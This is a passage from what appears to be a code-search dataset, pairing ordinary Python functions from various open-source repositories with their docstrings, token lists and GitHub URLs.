[ "def", "_exclude_packages", "(", "self", ",", "packages", ")", ":", "if", "not", "isinstance", "(", "packages", ",", "sequence", ")", ":", "raise", "DistutilsSetupError", "(", "\"packages: setting must be a list or tuple (%r)\"", "%", "(", "packages", ",", ")", ")...
https://github.com/zhl2008/awd-platform/blob/0416b31abea29743387b10b3914581fbe8e7da5e/web_hxb2/lib/python3.5/site-packages/setuptools/dist.py#L734-L739
googleads/google-ads-python
2a1d6062221f6aad1992a6bcca0e7e4a93d2db86
google/ads/googleads/v8/services/services/accessible_bidding_strategy_service/client.py
python
AccessibleBiddingStrategyServiceClient.parse_accessible_bidding_strategy_path
(path: str)
return m.groupdict() if m else {}
Parse a accessible_bidding_strategy path into its component segments.
Parse a accessible_bidding_strategy path into its component segments.
[ "Parse", "a", "accessible_bidding_strategy", "path", "into", "its", "component", "segments", "." ]
def parse_accessible_bidding_strategy_path(path: str) -> Dict[str, str]: """Parse a accessible_bidding_strategy path into its component segments.""" m = re.match( r"^customers/(?P<customer_id>.+?)/accessibleBiddingStrategies/(?P<bidding_strategy_id>.+?)$", path, ) return m.groupdict() if m else {}
[ "def", "parse_accessible_bidding_strategy_path", "(", "path", ":", "str", ")", "->", "Dict", "[", "str", ",", "str", "]", ":", "m", "=", "re", ".", "match", "(", "r\"^customers/(?P<customer_id>.+?)/accessibleBiddingStrategies/(?P<bidding_strategy_id>.+?)$\"", ",", "path...
https://github.com/googleads/google-ads-python/blob/2a1d6062221f6aad1992a6bcca0e7e4a93d2db86/google/ads/googleads/v8/services/services/accessible_bidding_strategy_service/client.py#L175-L181
livid/v2ex-gae
32be3a77d535e7c9df85a333e01ab8834d0e8581
twitter/twitter.py
python
User.GetLocation
(self)
return self._location
Get the geographic location of this user. Returns: The geographic location of this user
Get the geographic location of this user.
[ "Get", "the", "geographic", "location", "of", "this", "user", "." ]
def GetLocation(self): '''Get the geographic location of this user. Returns: The geographic location of this user ''' return self._location
[ "def", "GetLocation", "(", "self", ")", ":", "return", "self", ".", "_location" ]
https://github.com/livid/v2ex-gae/blob/32be3a77d535e7c9df85a333e01ab8834d0e8581/twitter/twitter.py#L564-L570
demisto/content
5c664a65b992ac8ca90ac3f11b1b2cdf11ee9b07
Packs/SailPointIdentityIQ/Integrations/SailPointIdentityIQ/SailPointIdentityIQ.py
python
delete_account
(client: Client, id: str)
return None
Delete account by id using IdentityIQ SCIM API's. Command: identityiq-delete-account :type client: ``Client`` :param client: SailPoint client :type id: ``str`` :param id: Internal Id of the specific account to be deleted. :return: Empty HTTP 204 response. None if the request was unsuccessful.
Delete account by id using IdentityIQ SCIM API's. Command: identityiq-delete-account
[ "Delete", "account", "by", "id", "using", "IdentityIQ", "SCIM", "API", "s", ".", "Command", ":", "identityiq", "-", "delete", "-", "account" ]
def delete_account(client: Client, id: str): """ Delete account by id using IdentityIQ SCIM API's. Command: identityiq-delete-account :type client: ``Client`` :param client: SailPoint client :type id: ``str`` :param id: Internal Id of the specific account to be deleted. :return: Empty HTTP 204 response. None if the request was unsuccessful. """ if id is None: return None url = ''.join((IIQ_SCIM_ACCOUNTS_EXT, '/', id)) response = client.send_request(url, "DELETE", None, None) if response is not None and 200 <= response.status_code < 300: return 'Account deleted successfully!' else: if 'status' in response.json() and 'detail' in response.json(): return ''.join((response.json().get('status'), ' : ', response.json().get('detail'))) elif 'status' in response.json(): return response.json().get('status') return None
[ "def", "delete_account", "(", "client", ":", "Client", ",", "id", ":", "str", ")", ":", "if", "id", "is", "None", ":", "return", "None", "url", "=", "''", ".", "join", "(", "(", "IIQ_SCIM_ACCOUNTS_EXT", ",", "'/'", ",", "id", ")", ")", "response", ...
https://github.com/demisto/content/blob/5c664a65b992ac8ca90ac3f11b1b2cdf11ee9b07/Packs/SailPointIdentityIQ/Integrations/SailPointIdentityIQ/SailPointIdentityIQ.py#L511-L535
facebookresearch/EmpatheticDialogues
9649114c71e1af32189a3973b3598dc311297560
empchat/datasets/reddit.py
python
RedditDataset.__init__
( self, data_folder, chunk_id, dict_, max_len=100, rm_long_sent=False, max_hist_len=1, rm_long_contexts=False, rm_blank_sentences=False, )
[]
def __init__( self, data_folder, chunk_id, dict_, max_len=100, rm_long_sent=False, max_hist_len=1, rm_long_contexts=False, rm_blank_sentences=False, ): data_path = os.path.join(data_folder, f"chunk{chunk_id}.pth") logging.info(f"Loading reddit dataset from {data_path}") data = torch.load(data_path) self.dictionary = dict_["words"] # w -> i self.iwords = dict_["iwords"] # i -> w self.words = data["w"] self.starts = data["cstart"] self.ends = data["cend"] self.uids = data["uid"] self.p2c = data["p2c"] self.unk_index = self.dictionary[UNK_TOKEN] if "bert_tokenizer" in dict_: self.using_bert = True assert BERT_ID == "bert-base-cased" deleted_uid = -1 else: self.using_bert = False deleted_uid = 6 # This was the deleted uid in the original Reddit binary chunks self.max_hist_len = max_hist_len self.max_len = max_len if self.max_hist_len > 1: self.start_of_comment = torch.LongTensor( [self.dictionary[START_OF_COMMENT]] ) valid_comments = (self.uids != deleted_uid) * (self.p2c != -1) parent_ids = self.p2c.clamp(min=0) valid_comments *= ( self.uids[parent_ids] != deleted_uid ) # Remove comments whose parent has been deleted if rm_long_sent: valid_comments *= (self.ends - self.starts) <= max_len if rm_blank_sentences: valid_comments *= (self.ends - self.starts) > 0 # In retrieve.py, length-0 sentences are removed when retrieving # candidates; rm_blank_sentences allows length-0 sentence removal # when retrieving contexts as well if rm_long_contexts: valid_comments *= ( self.ends[parent_ids] - self.starts[parent_ids] ) <= max_len valid_comment_index = valid_comments.nonzero() self.datasetIndex2wIndex = valid_comment_index self.n_comments = self.datasetIndex2wIndex.numel() logging.info( f"Loaded {self.p2c.numel()} comments from {data_path}" f" of which {self.n_comments} are valid" )
[ "def", "__init__", "(", "self", ",", "data_folder", ",", "chunk_id", ",", "dict_", ",", "max_len", "=", "100", ",", "rm_long_sent", "=", "False", ",", "max_hist_len", "=", "1", ",", "rm_long_contexts", "=", "False", ",", "rm_blank_sentences", "=", "False", ...
https://github.com/facebookresearch/EmpatheticDialogues/blob/9649114c71e1af32189a3973b3598dc311297560/empchat/datasets/reddit.py#L19-L77
dbbbit/ninja-search
395b265d22064316b187a8accea92c95a0023838
util/page.py
python
gen_pages
(current, max_page)
return [x for x in map( filter, range(current-3, current) + range(current, current+4)) if x is not None]
current = 4 max_page = 8 return [1 2 3 4 5 6 7]
current = 4 max_page = 8
[ "current", "=", "4", "max_page", "=", "8" ]
def gen_pages(current, max_page): """ current = 4 max_page = 8 return [1 2 3 4 5 6 7] """ def filter(x): if x >= 0 and x <= max_page: return x else: return None return [x for x in map( filter, range(current-3, current) + range(current, current+4)) if x is not None]
[ "def", "gen_pages", "(", "current", ",", "max_page", ")", ":", "def", "filter", "(", "x", ")", ":", "if", "x", ">=", "0", "and", "x", "<=", "max_page", ":", "return", "x", "else", ":", "return", "None", "return", "[", "x", "for", "x", "in", "map"...
https://github.com/dbbbit/ninja-search/blob/395b265d22064316b187a8accea92c95a0023838/util/page.py#L1-L17
dagwieers/mrepo
a55cbc737d8bade92070d38e4dbb9a24be4b477f
rhn/_internal_xmlrpclib.py
python
Transport.send_user_agent
(self, connection)
[]
def send_user_agent(self, connection): connection.putheader("User-Agent", self.user_agent)
[ "def", "send_user_agent", "(", "self", ",", "connection", ")", ":", "connection", ".", "putheader", "(", "\"User-Agent\"", ",", "self", ".", "user_agent", ")" ]
https://github.com/dagwieers/mrepo/blob/a55cbc737d8bade92070d38e4dbb9a24be4b477f/rhn/_internal_xmlrpclib.py#L1118-L1119
BerkeleyAutomation/dex-net
cccf93319095374b0eefc24b8b6cd40bc23966d2
src/dexnet/database/database.py
python
Hdf5Dataset.available_metrics
(self, key, gripper='pr2')
return list(metrics)
Returns a list of the metrics computed for a given object. Parameters ---------- key : :obj:`str` key of object to check metrics for gripper : :obj:`str` name of gripper Returns ------- :obj:`list` of :obj:`str` list of names of metric computed and stored for the object
Returns a list of the metrics computed for a given object.
[ "Returns", "a", "list", "of", "the", "metrics", "computed", "for", "a", "given", "object", "." ]
def available_metrics(self, key, gripper='pr2'): """ Returns a list of the metrics computed for a given object. Parameters ---------- key : :obj:`str` key of object to check metrics for gripper : :obj:`str` name of gripper Returns ------- :obj:`list` of :obj:`str` list of names of metric computed and stored for the object """ grasps = self.grasps(key, gripper=gripper) gm = self.grasp_metrics(key, grasps, gripper=gripper) metrics = set() for grasp in grasps: metrics.update(gm[grasp.id].keys()) return list(metrics)
[ "def", "available_metrics", "(", "self", ",", "key", ",", "gripper", "=", "'pr2'", ")", ":", "grasps", "=", "self", ".", "grasps", "(", "key", ",", "gripper", "=", "gripper", ")", "gm", "=", "self", ".", "grasp_metrics", "(", "key", ",", "grasps", ",...
https://github.com/BerkeleyAutomation/dex-net/blob/cccf93319095374b0eefc24b8b6cd40bc23966d2/src/dexnet/database/database.py#L871-L891
kovidgoyal/calibre
2b41671370f2a9eb1109b9ae901ccf915f1bd0c8
src/calibre/gui2/actions/__init__.py
python
InterfaceAction.location_selected
(self, loc)
Called whenever the book list being displayed in calibre changes. Currently values for loc are: ``library, main, card and cardb``. This method should enable/disable this action and its sub actions as appropriate for the location.
Called whenever the book list being displayed in calibre changes. Currently values for loc are: ``library, main, card and cardb``.
[ "Called", "whenever", "the", "book", "list", "being", "displayed", "in", "calibre", "changes", ".", "Currently", "values", "for", "loc", "are", ":", "library", "main", "card", "and", "cardb", "." ]
def location_selected(self, loc): ''' Called whenever the book list being displayed in calibre changes. Currently values for loc are: ``library, main, card and cardb``. This method should enable/disable this action and its sub actions as appropriate for the location. ''' pass
[ "def", "location_selected", "(", "self", ",", "loc", ")", ":", "pass" ]
https://github.com/kovidgoyal/calibre/blob/2b41671370f2a9eb1109b9ae901ccf915f1bd0c8/src/calibre/gui2/actions/__init__.py#L317-L325
log2timeline/dfvfs
4ca7bf06b15cdc000297a7122a065f0ca71de544
dfvfs/compression/zlib_decompressor.py
python
ZlibDecompressor.Decompress
(self, compressed_data)
return uncompressed_data, remaining_compressed_data
Decompresses the compressed data. Args: compressed_data (bytes): compressed data. Returns: tuple(bytes, bytes): uncompressed data and remaining compressed data. Raises: BackEndError: if the zlib compressed stream cannot be decompressed.
Decompresses the compressed data.
[ "Decompresses", "the", "compressed", "data", "." ]
def Decompress(self, compressed_data): """Decompresses the compressed data. Args: compressed_data (bytes): compressed data. Returns: tuple(bytes, bytes): uncompressed data and remaining compressed data. Raises: BackEndError: if the zlib compressed stream cannot be decompressed. """ try: uncompressed_data = self._zlib_decompressor.decompress(compressed_data) remaining_compressed_data = getattr( self._zlib_decompressor, 'unused_data', b'') except zlib.error as exception: raise errors.BackEndError(( 'Unable to decompress zlib compressed stream with error: ' '{0!s}.').format(exception)) return uncompressed_data, remaining_compressed_data
[ "def", "Decompress", "(", "self", ",", "compressed_data", ")", ":", "try", ":", "uncompressed_data", "=", "self", ".", "_zlib_decompressor", ".", "decompress", "(", "compressed_data", ")", "remaining_compressed_data", "=", "getattr", "(", "self", ".", "_zlib_decom...
https://github.com/log2timeline/dfvfs/blob/4ca7bf06b15cdc000297a7122a065f0ca71de544/dfvfs/compression/zlib_decompressor.py#L33-L55
xfgryujk/blivedm
d8f7f6b7828069cb6c1fd13f756cfd891f0b1a46
blivedm/client.py
python
BLiveClient.room_owner_uid
(self)
return self._room_owner_uid
主播用户ID,调用init_room后初始化
主播用户ID,调用init_room后初始化
[ "主播用户ID,调用init_room后初始化" ]
def room_owner_uid(self) -> Optional[int]: """ 主播用户ID,调用init_room后初始化 """ return self._room_owner_uid
[ "def", "room_owner_uid", "(", "self", ")", "->", "Optional", "[", "int", "]", ":", "return", "self", ".", "_room_owner_uid" ]
https://github.com/xfgryujk/blivedm/blob/d8f7f6b7828069cb6c1fd13f756cfd891f0b1a46/blivedm/client.py#L169-L173
securityclippy/elasticintel
aa08d3e9f5ab1c000128e95161139ce97ff0e334
ingest_feed_lambda/numpy/ma/core.py
python
right_shift
(a, n)
Shift the bits of an integer to the right. This is the masked array version of `numpy.right_shift`, for details see that function. See Also -------- numpy.right_shift
Shift the bits of an integer to the right.
[ "Shift", "the", "bits", "of", "an", "integer", "to", "the", "right", "." ]
def right_shift(a, n): """ Shift the bits of an integer to the right. This is the masked array version of `numpy.right_shift`, for details see that function. See Also -------- numpy.right_shift """ m = getmask(a) if m is nomask: d = umath.right_shift(filled(a), n) return masked_array(d) else: d = umath.right_shift(filled(a, 0), n) return masked_array(d, mask=m)
[ "def", "right_shift", "(", "a", ",", "n", ")", ":", "m", "=", "getmask", "(", "a", ")", "if", "m", "is", "nomask", ":", "d", "=", "umath", ".", "right_shift", "(", "filled", "(", "a", ")", ",", "n", ")", "return", "masked_array", "(", "d", ")",...
https://github.com/securityclippy/elasticintel/blob/aa08d3e9f5ab1c000128e95161139ce97ff0e334/ingest_feed_lambda/numpy/ma/core.py#L6810-L6828
golismero/golismero
7d605b937e241f51c1ca4f47b20f755eeefb9d76
thirdparty_libs/nltk/probability.py
python
SimpleGoodTuringProbDist._r_Nr
(self)
return (r, nr)
Split the frequency distribution in two list (r, Nr), where Nr(r) > 0
Split the frequency distribution in two list (r, Nr), where Nr(r) > 0
[ "Split", "the", "frequency", "distribution", "in", "two", "list", "(", "r", "Nr", ")", "where", "Nr", "(", "r", ")", ">", "0" ]
def _r_Nr(self): """ Split the frequency distribution in two list (r, Nr), where Nr(r) > 0 """ r, nr = [], [] b, i = 0, 0 while b != self._freqdist.B(): nr_i = self._freqdist.Nr(i) if nr_i > 0: b += nr_i r.append(i) nr.append(nr_i) i += 1 return (r, nr)
[ "def", "_r_Nr", "(", "self", ")", ":", "r", ",", "nr", "=", "[", "]", ",", "[", "]", "b", ",", "i", "=", "0", ",", "0", "while", "b", "!=", "self", ".", "_freqdist", ".", "B", "(", ")", ":", "nr_i", "=", "self", ".", "_freqdist", ".", "Nr...
https://github.com/golismero/golismero/blob/7d605b937e241f51c1ca4f47b20f755eeefb9d76/thirdparty_libs/nltk/probability.py#L1382-L1395
AstroPrint/AstroBox
e7e3b8a7d33ea85fcb6b2696869c0d719ceb8b75
src/astroprint/camera/v4l2/gstreamer/process/pipelines/bins/photo_capture.py
python
PhotoReqsProcessor.addPhotoReq
(self, text, callback)
[]
def addPhotoReq(self, text, callback): self._photoReqs.appendleft( (text, callback) ) self._morePhotosEvent.set()
[ "def", "addPhotoReq", "(", "self", ",", "text", ",", "callback", ")", ":", "self", ".", "_photoReqs", ".", "appendleft", "(", "(", "text", ",", "callback", ")", ")", "self", ".", "_morePhotosEvent", ".", "set", "(", ")" ]
https://github.com/AstroPrint/AstroBox/blob/e7e3b8a7d33ea85fcb6b2696869c0d719ceb8b75/src/astroprint/camera/v4l2/gstreamer/process/pipelines/bins/photo_capture.py#L149-L151
atc-project/atomic-threat-coverage
89a48db5be0ee500ad158b7db32a0945ec872331
scripts/mitigationpolicy.py
python
MitigationPolicy.save_markdown_file
(self, atc_dir=ATCconfig.get('md_name_of_root_directory'))
return ATCutils.write_file(file_path, self.content)
Write content (md template filled with data) to a file
Write content (md template filled with data) to a file
[ "Write", "content", "(", "md", "template", "filled", "with", "data", ")", "to", "a", "file" ]
def save_markdown_file(self, atc_dir=ATCconfig.get('md_name_of_root_directory')): """Write content (md template filled with data) to a file""" base = os.path.basename(self.yaml_file) title = os.path.splitext(base)[0] file_path = atc_dir + self.parent_title + "/" + \ title + ".md" return ATCutils.write_file(file_path, self.content)
[ "def", "save_markdown_file", "(", "self", ",", "atc_dir", "=", "ATCconfig", ".", "get", "(", "'md_name_of_root_directory'", ")", ")", ":", "base", "=", "os", ".", "path", ".", "basename", "(", "self", ".", "yaml_file", ")", "title", "=", "os", ".", "path...
https://github.com/atc-project/atomic-threat-coverage/blob/89a48db5be0ee500ad158b7db32a0945ec872331/scripts/mitigationpolicy.py#L267-L276
dropbox/dropbox-sdk-python
015437429be224732990041164a21a0501235db1
dropbox/team.py
python
MembersGetInfoItemV2.member_info
(cls, val)
return cls('member_info', val)
Create an instance of this class set to the ``member_info`` tag with value ``val``. :param TeamMemberInfoV2 val: :rtype: MembersGetInfoItemV2
Create an instance of this class set to the ``member_info`` tag with value ``val``.
[ "Create", "an", "instance", "of", "this", "class", "set", "to", "the", "member_info", "tag", "with", "value", "val", "." ]
def member_info(cls, val): """ Create an instance of this class set to the ``member_info`` tag with value ``val``. :param TeamMemberInfoV2 val: :rtype: MembersGetInfoItemV2 """ return cls('member_info', val)
[ "def", "member_info", "(", "cls", ",", "val", ")", ":", "return", "cls", "(", "'member_info'", ",", "val", ")" ]
https://github.com/dropbox/dropbox-sdk-python/blob/015437429be224732990041164a21a0501235db1/dropbox/team.py#L7962-L7970
namlook/mongokit
04f6cb2703a662c5beb9bd5a7d4dbec3f03d9c6d
ez_setup.py
python
use_setuptools
( version=DEFAULT_VERSION, download_base=DEFAULT_URL, to_dir=os.curdir, download_delay=15 )
Automatically find/download setuptools and make it available on sys.path `version` should be a valid setuptools version number that is available as an egg for download under the `download_base` URL (which should end with a '/'). `to_dir` is the directory where setuptools will be downloaded, if it is not already available. If `download_delay` is specified, it should be the number of seconds that will be paused before initiating a download, should one be required. If an older version of setuptools is installed, this routine will print a message to ``sys.stderr`` and raise SystemExit in an attempt to abort the calling script.
Automatically find/download setuptools and make it available on sys.path
[ "Automatically", "find", "/", "download", "setuptools", "and", "make", "it", "available", "on", "sys", ".", "path" ]
def use_setuptools( version=DEFAULT_VERSION, download_base=DEFAULT_URL, to_dir=os.curdir, download_delay=15 ): """Automatically find/download setuptools and make it available on sys.path `version` should be a valid setuptools version number that is available as an egg for download under the `download_base` URL (which should end with a '/'). `to_dir` is the directory where setuptools will be downloaded, if it is not already available. If `download_delay` is specified, it should be the number of seconds that will be paused before initiating a download, should one be required. If an older version of setuptools is installed, this routine will print a message to ``sys.stderr`` and raise SystemExit in an attempt to abort the calling script. """ was_imported = 'pkg_resources' in sys.modules or 'setuptools' in sys.modules def do_download(): egg = download_setuptools(version, download_base, to_dir, download_delay) sys.path.insert(0, egg) import setuptools; setuptools.bootstrap_install_from = egg try: import pkg_resources except ImportError: return do_download() try: pkg_resources.require("setuptools>="+version); return except pkg_resources.VersionConflict, e: if was_imported: print >>sys.stderr, ( "The required version of setuptools (>=%s) is not available, and\n" "can't be installed while this script is running. Please install\n" " a more recent version first, using 'easy_install -U setuptools'." "\n\n(Currently using %r)" ) % (version, e.args[0]) sys.exit(2) else: del pkg_resources, sys.modules['pkg_resources'] # reload ok return do_download() except pkg_resources.DistributionNotFound: return do_download()
[ "def", "use_setuptools", "(", "version", "=", "DEFAULT_VERSION", ",", "download_base", "=", "DEFAULT_URL", ",", "to_dir", "=", "os", ".", "curdir", ",", "download_delay", "=", "15", ")", ":", "was_imported", "=", "'pkg_resources'", "in", "sys", ".", "modules",...
https://github.com/namlook/mongokit/blob/04f6cb2703a662c5beb9bd5a7d4dbec3f03d9c6d/ez_setup.py#L72-L111
Tautulli/Tautulli
2410eb33805aaac4bd1c5dad0f71e4f15afaf742
lib/plexapi/myplex.py
python
MyPlexAccount.podcasts
(self)
return self.findItems(elem)
Returns a list of Podcasts Hub items :class:`~plexapi.library.Hub`
Returns a list of Podcasts Hub items :class:`~plexapi.library.Hub`
[ "Returns", "a", "list", "of", "Podcasts", "Hub", "items", ":", "class", ":", "~plexapi", ".", "library", ".", "Hub" ]
def podcasts(self): """ Returns a list of Podcasts Hub items :class:`~plexapi.library.Hub` """ req = requests.get(self.PODCASTS + 'hubs/', headers={'X-Plex-Token': self._token}) elem = ElementTree.fromstring(req.text) return self.findItems(elem)
[ "def", "podcasts", "(", "self", ")", ":", "req", "=", "requests", ".", "get", "(", "self", ".", "PODCASTS", "+", "'hubs/'", ",", "headers", "=", "{", "'X-Plex-Token'", ":", "self", ".", "_token", "}", ")", "elem", "=", "ElementTree", ".", "fromstring",...
https://github.com/Tautulli/Tautulli/blob/2410eb33805aaac4bd1c5dad0f71e4f15afaf742/lib/plexapi/myplex.py#L733-L738
twisted/twisted
dee676b040dd38b847ea6fb112a712cb5e119490
src/twisted/words/im/interfaces.py
python
IChatUI.getGroupConversation
(group, Class, stayHidden=0)
For the given group object, returns the group conversation window or creates and returns a new group conversation window if it doesn't exist. @type group: L{Group<interfaces.IGroup>} @type Class: L{Conversation<interfaces.IConversation>} class @type stayHidden: boolean @rtype: L{GroupConversation<interfaces.IGroupConversation>}
For the given group object, returns the group conversation window or creates and returns a new group conversation window if it doesn't exist.
[ "For", "the", "given", "group", "object", "returns", "the", "group", "conversation", "window", "or", "creates", "and", "returns", "a", "new", "group", "conversation", "window", "if", "it", "doesn", "t", "exist", "." ]
def getGroupConversation(group, Class, stayHidden=0): """ For the given group object, returns the group conversation window or creates and returns a new group conversation window if it doesn't exist. @type group: L{Group<interfaces.IGroup>} @type Class: L{Conversation<interfaces.IConversation>} class @type stayHidden: boolean @rtype: L{GroupConversation<interfaces.IGroupConversation>} """
[ "def", "getGroupConversation", "(", "group", ",", "Class", ",", "stayHidden", "=", "0", ")", ":" ]
https://github.com/twisted/twisted/blob/dee676b040dd38b847ea6fb112a712cb5e119490/src/twisted/words/im/interfaces.py#L319-L329
edisonlz/fastor
342078a18363ac41d3c6b1ab29dbdd44fdb0b7b3
base/site-packages/django/core/management/commands/inspectdb.py
python
Command.get_meta
(self, table_name)
return [" class Meta:", " managed = False", " db_table = '%s'" % table_name, ""]
Return a sequence comprising the lines of code necessary to construct the inner Meta class for the model corresponding to the given database table name.
Return a sequence comprising the lines of code necessary to construct the inner Meta class for the model corresponding to the given database table name.
[ "Return", "a", "sequence", "comprising", "the", "lines", "of", "code", "necessary", "to", "construct", "the", "inner", "Meta", "class", "for", "the", "model", "corresponding", "to", "the", "given", "database", "table", "name", "." ]
def get_meta(self, table_name): """ Return a sequence comprising the lines of code necessary to construct the inner Meta class for the model corresponding to the given database table name. """ return [" class Meta:", " managed = False", " db_table = '%s'" % table_name, ""]
[ "def", "get_meta", "(", "self", ",", "table_name", ")", ":", "return", "[", "\" class Meta:\"", ",", "\" managed = False\"", ",", "\" db_table = '%s'\"", "%", "table_name", ",", "\"\"", "]" ]
https://github.com/edisonlz/fastor/blob/342078a18363ac41d3c6b1ab29dbdd44fdb0b7b3/base/site-packages/django/core/management/commands/inspectdb.py#L228-L237
wxWidgets/Phoenix
b2199e299a6ca6d866aa6f3d0888499136ead9d6
wx/lib/agw/persist/persistencemanager.py
python
PersistenceManager.DisableRestoring
(self)
Globally disables restoring the persistent properties (enabled by default). :note: By default, restoring properties in :meth:`~PersistenceManager.Restore` is enabled but this function allows to disable it. This is mostly useful for testing.
Globally disables restoring the persistent properties (enabled by default).
[ "Globally", "disables", "restoring", "the", "persistent", "properties", "(", "enabled", "by", "default", ")", "." ]
def DisableRestoring(self): """ Globally disables restoring the persistent properties (enabled by default). :note: By default, restoring properties in :meth:`~PersistenceManager.Restore` is enabled but this function allows to disable it. This is mostly useful for testing. """ self._doRestore = False
[ "def", "DisableRestoring", "(", "self", ")", ":", "self", ".", "_doRestore", "=", "False" ]
https://github.com/wxWidgets/Phoenix/blob/b2199e299a6ca6d866aa6f3d0888499136ead9d6/wx/lib/agw/persist/persistencemanager.py#L563-L571
YoYo000/MVSNet
3ae2cb2b72c6df58ebcb321d7d243d4efd01fbc5
cnn_wrapper/network.py
python
Network.avg_pool
(self, input_tensor, pool_size, strides, name, padding=DEFAULT_PADDING)
return tf.layers.average_pooling2d(input_tensor, pool_size=pool_size, strides=strides, padding=padding, name=name)
Average pooling.
Average pooling.
[ "Average", "pooling", "." ]
def avg_pool(self, input_tensor, pool_size, strides, name, padding=DEFAULT_PADDING): """"Average pooling.""" return tf.layers.average_pooling2d(input_tensor, pool_size=pool_size, strides=strides, padding=padding, name=name)
[ "def", "avg_pool", "(", "self", ",", "input_tensor", ",", "pool_size", ",", "strides", ",", "name", ",", "padding", "=", "DEFAULT_PADDING", ")", ":", "return", "tf", ".", "layers", ".", "average_pooling2d", "(", "input_tensor", ",", "pool_size", "=", "pool_s...
https://github.com/YoYo000/MVSNet/blob/3ae2cb2b72c6df58ebcb321d7d243d4efd01fbc5/cnn_wrapper/network.py#L409-L415
translate/translate
72816df696b5263abfe80ab59129b299b85ae749
translate/storage/ts.py
python
QtTsParser.getmessagecomment
(self, message)
return ourdom.getnodetext(commentnode)
returns the message comment for a given node
returns the message comment for a given node
[ "returns", "the", "message", "comment", "for", "a", "given", "node" ]
def getmessagecomment(self, message): """returns the message comment for a given node""" commentnode = ourdom.getFirstElementByTagName(message, "comment") # NOTE: handles only one comment per msgid (OK) # and only one-line comments (can be VERY wrong) TODO!!! return ourdom.getnodetext(commentnode)
[ "def", "getmessagecomment", "(", "self", ",", "message", ")", ":", "commentnode", "=", "ourdom", ".", "getFirstElementByTagName", "(", "message", ",", "\"comment\"", ")", "# NOTE: handles only one comment per msgid (OK)", "# and only one-line comments (can be VERY wrong) TODO!!...
https://github.com/translate/translate/blob/72816df696b5263abfe80ab59129b299b85ae749/translate/storage/ts.py#L147-L152
XX-net/XX-Net
a9898cfcf0084195fb7e69b6bc834e59aecdf14f
python3.8.2/Lib/OpenSSL/crypto.py
python
load_privatekey
(type, buffer, passphrase=None)
return pkey
Load a private key (PKey) from the string *buffer* encoded with the type *type*. :param type: The file type (one of FILETYPE_PEM, FILETYPE_ASN1) :param buffer: The buffer the key is stored in :param passphrase: (optional) if encrypted PEM format, this can be either the passphrase to use, or a callback for providing the passphrase. :return: The PKey object
Load a private key (PKey) from the string *buffer* encoded with the type *type*.
[ "Load", "a", "private", "key", "(", "PKey", ")", "from", "the", "string", "*", "buffer", "*", "encoded", "with", "the", "type", "*", "type", "*", "." ]
def load_privatekey(type, buffer, passphrase=None): """ Load a private key (PKey) from the string *buffer* encoded with the type *type*. :param type: The file type (one of FILETYPE_PEM, FILETYPE_ASN1) :param buffer: The buffer the key is stored in :param passphrase: (optional) if encrypted PEM format, this can be either the passphrase to use, or a callback for providing the passphrase. :return: The PKey object """ if isinstance(buffer, _text_type): buffer = buffer.encode("ascii") bio = _new_mem_buf(buffer) helper = _PassphraseHelper(type, passphrase) if type == FILETYPE_PEM: evp_pkey = _lib.PEM_read_bio_PrivateKey( bio, _ffi.NULL, helper.callback, helper.callback_args) helper.raise_if_problem() elif type == FILETYPE_ASN1: evp_pkey = _lib.d2i_PrivateKey_bio(bio, _ffi.NULL) else: raise ValueError("type argument must be FILETYPE_PEM or FILETYPE_ASN1") if evp_pkey == _ffi.NULL: _raise_current_error() pkey = PKey.__new__(PKey) pkey._pkey = _ffi.gc(evp_pkey, _lib.EVP_PKEY_free) return pkey
[ "def", "load_privatekey", "(", "type", ",", "buffer", ",", "passphrase", "=", "None", ")", ":", "if", "isinstance", "(", "buffer", ",", "_text_type", ")", ":", "buffer", "=", "buffer", ".", "encode", "(", "\"ascii\"", ")", "bio", "=", "_new_mem_buf", "("...
https://github.com/XX-net/XX-Net/blob/a9898cfcf0084195fb7e69b6bc834e59aecdf14f/python3.8.2/Lib/OpenSSL/crypto.py#L2710-L2743
SanPen/GridCal
d3f4566d2d72c11c7e910c9d162538ef0e60df31
src/GridCal/Gui/CoordinatesInput/matplotlibwidget.py
python
MplCanvas.setTitle
(self, text)
Sets the figure title
Sets the figure title
[ "Sets", "the", "figure", "title" ]
def setTitle(self, text): """ Sets the figure title """ self.fig.suptitle(text)
[ "def", "setTitle", "(", "self", ",", "text", ")", ":", "self", ".", "fig", ".", "suptitle", "(", "text", ")" ]
https://github.com/SanPen/GridCal/blob/d3f4566d2d72c11c7e910c9d162538ef0e60df31/src/GridCal/Gui/CoordinatesInput/matplotlibwidget.py#L69-L73
scanlime/coastermelt
dd9a536a6928424a5f479fd9e6b5476e34763c06
backdoor/png.py
python
Writer.array_scanlines_interlace
(self, pixels)
Generator for interlaced scanlines from an array. `pixels` is the full source image in flat row flat pixel format. The generator yields each scanline of the reduced passes in turn, in boxed row flat pixel format.
Generator for interlaced scanlines from an array. `pixels` is the full source image in flat row flat pixel format. The generator yields each scanline of the reduced passes in turn, in boxed row flat pixel format.
[ "Generator", "for", "interlaced", "scanlines", "from", "an", "array", ".", "pixels", "is", "the", "full", "source", "image", "in", "flat", "row", "flat", "pixel", "format", ".", "The", "generator", "yields", "each", "scanline", "of", "the", "reduced", "passe...
def array_scanlines_interlace(self, pixels): """ Generator for interlaced scanlines from an array. `pixels` is the full source image in flat row flat pixel format. The generator yields each scanline of the reduced passes in turn, in boxed row flat pixel format. """ # http://www.w3.org/TR/PNG/#8InterlaceMethods # Array type. fmt = 'BH'[self.bitdepth > 8] # Value per row vpr = self.width * self.planes for xstart, ystart, xstep, ystep in _adam7: if xstart >= self.width: continue # Pixels per row (of reduced image) ppr = int(math.ceil((self.width-xstart)/float(xstep))) # number of values in reduced image row. row_len = ppr*self.planes for y in range(ystart, self.height, ystep): if xstep == 1: offset = y * vpr yield pixels[offset:offset+vpr] else: row = array(fmt) # There's no easier way to set the length of an array row.extend(pixels[0:row_len]) offset = y * vpr + xstart * self.planes end_offset = (y+1) * vpr skip = self.planes * xstep for i in range(self.planes): row[i::self.planes] = \ pixels[offset+i:end_offset:skip] yield row
[ "def", "array_scanlines_interlace", "(", "self", ",", "pixels", ")", ":", "# http://www.w3.org/TR/PNG/#8InterlaceMethods", "# Array type.", "fmt", "=", "'BH'", "[", "self", ".", "bitdepth", ">", "8", "]", "# Value per row", "vpr", "=", "self", ".", "width", "*", ...
https://github.com/scanlime/coastermelt/blob/dd9a536a6928424a5f479fd9e6b5476e34763c06/backdoor/png.py#L923-L957
allenai/document-qa
2f9fa6878b60ed8a8a31bcf03f802cde292fe48b
docqa/utils.py
python
group
(lst: List[T], max_group_size)
return groups
partition `lst` into that the mininal number of groups that as evenly sized as possible and are at most `max_group_size` in size
